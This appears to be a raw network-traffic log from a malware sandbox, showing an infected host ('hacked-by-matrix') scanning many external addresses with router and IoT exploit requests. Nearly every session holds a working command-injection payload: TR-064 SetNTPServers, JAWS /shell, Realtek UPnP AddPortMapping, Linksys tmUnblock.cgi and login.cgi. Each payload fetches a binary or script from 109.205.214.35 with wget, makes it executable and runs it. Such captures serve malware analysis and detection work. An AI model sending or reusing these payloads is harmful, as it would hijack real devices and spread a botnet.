Mar 21, 2024 05:23:44.405672073 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.420260906 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.787071943 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:28:18 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
2063	192.168.2.13	38560	66.66.29.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.445077896 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2064	192.168.2.13	59820	152.254.159.217	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.546947002 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.228844881 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2065	192.168.2.13	49178	183.123.17.160	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.623650074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:46.124243975 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:46.412811041 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:23:46 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2066	192.168.2.13	50438	34.98.71.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.903619051 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2067	192.168.2.13	48030	129.213.171.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.972105026 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2068	192.168.2.13	58428	172.172.57.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:44.975059032 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:45.079374075 CET	450	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2069	192.168.2.13	58962	99.241.252.214	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.125943899 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2070	192.168.2.13	37186	38.109.254.81	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.154925108 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.311326981 CET	240	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:23:44 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
2071	192.168.2.13	46900	8.146.241.105	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.158263922 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2072	192.168.2.13	57950	213.251.185.159	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.229800940 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:45.394232035 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.4 Date: Thu, 21 Mar 2024 04:23:46 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2073	192.168.2.13	59008	99.241.252.214	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.246839046 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2074	192.168.2.13	53410	201.253.134.11	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.249753952 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2075	192.168.2.13	50052	220.91.86.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.288286924 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2076	192.168.2.13	49164	183.123.17.160	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.292764902 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.586574078 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:23:45 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2077	192.168.2.13	37232	38.109.254.81	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.304136992 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.461527109 CET	240	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:23:44 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
2078	192.168.2.13	39340	172.65.175.7	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.445621967 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2079	192.168.2.13	53462	201.253.134.11	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.504930973 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:46.832207918 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2080	192.168.2.13	40502	104.200.137.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.526886940 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
